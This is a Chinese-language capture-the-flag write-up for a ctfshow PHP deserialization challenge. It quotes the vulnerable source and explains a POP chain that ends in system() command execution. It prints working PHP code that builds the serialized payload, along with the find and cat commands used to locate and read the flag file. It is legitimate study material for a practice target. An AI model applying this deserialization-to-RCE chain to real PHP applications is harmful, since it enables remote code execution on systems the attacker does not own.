ctfshow-擊劍杯-esaypop(反序列化構造pop鏈)
題目地址:https://ctf.show/challenges
題目原始碼:
<?php highlight_file (__FILE__); error_reporting(0); class action_1{ public $tmp; public $fun = 'system'; public function __call($wo,$jia){ call_user_func($this->fun); } public function __wakeup(){ $this->fun = ''; die("阿祖收手吧,外面有套神"); } public function __toString(){ return $this->tmp->str; } } class action_2{ public $p; public $tmp; public function getFlag(){ if (isset($_GET['ctfshow'])) { $this->tmp = $_GET['ctfshow']; } system("cat /".$this->tmp); } public function __call($wo,$jia){ phpinfo(); } public function __wakeup(){ echo "<br>"; echo "php版本7.3哦,沒有人可以再繞過我了"; echo "<br>"; } public function __get($key){ $function = $this->p; return $function(); } } class action_3{ public $str; public $tmp; public $ran; public function __construct($rce){ echo "送給你了"; system($rce); } public function __destruct(){ urlencode($this->str); } public function __get($jia){ if(preg_match("/action_2/",get_class($this->ran))){ return "啥也沒有"; } return $this->ran->$jia(); } } class action_4{ public $ctf; public $show; public $jia; public function __destruct(){ $jia = $this->jia; echo $this->ran->$jia; } public function append($ctf,$show){ echo "<br>"; echo new $ctf($show); } public function __invoke(){ $this->append($this->ctf,$this->show); } } if(isset($_GET['pop'])){ $pop = $_GET['pop']; $output = unserialize($pop); if(preg_match("/php/",$output)){ echo "套神黑進這裡並給你了一個提示:檔名是f開頭的形如fA6_形式的檔案"; die("不可以用偽協議哦"); } }
審計第一步找到有用的執行函式,找到action3裡面的system,發現system在action3的解構函式中,也就是需要new action()才行,跟進找到action4中的append函式中包含 echo new $ctf($show);
而__invoke()函式呼叫的append,所以我們需要觸發action4中的invoke函式,那就需要找到能將action4當做函式執行的,action2中的__get()方法就可以將控制$p為然後將$p當做函式執行,那麼現在問題變成如何觸發__get()方法,剛好action4裡面有一句echo $this->ran->$jia;
pop鏈為:action4中的$this->ran->$jia
->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);
然後再看傳參,$rce就是傳過來的$show,,所以$show=需要執行的命令
payload:
$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '語句';
echo urlencode(serialize($obj4));
這裡的語句先執行find / -name f[A-z][0-9]_*
,因為給的提示並不直接,饒了一下,直接找fA6_*是找不到的,然後發現檔名為fz3_.txt,再執行cat /fz3.txt(此處是我執行反彈shell失敗了,不然的話不用踩這個檔名的坑)
ps:本體官方也有wp,不過思路有些不一樣而已,這要是我想大佬諮詢所得,僅當做個人學習的參考~
It is never too late to learn 個人部落格:yiaho.cn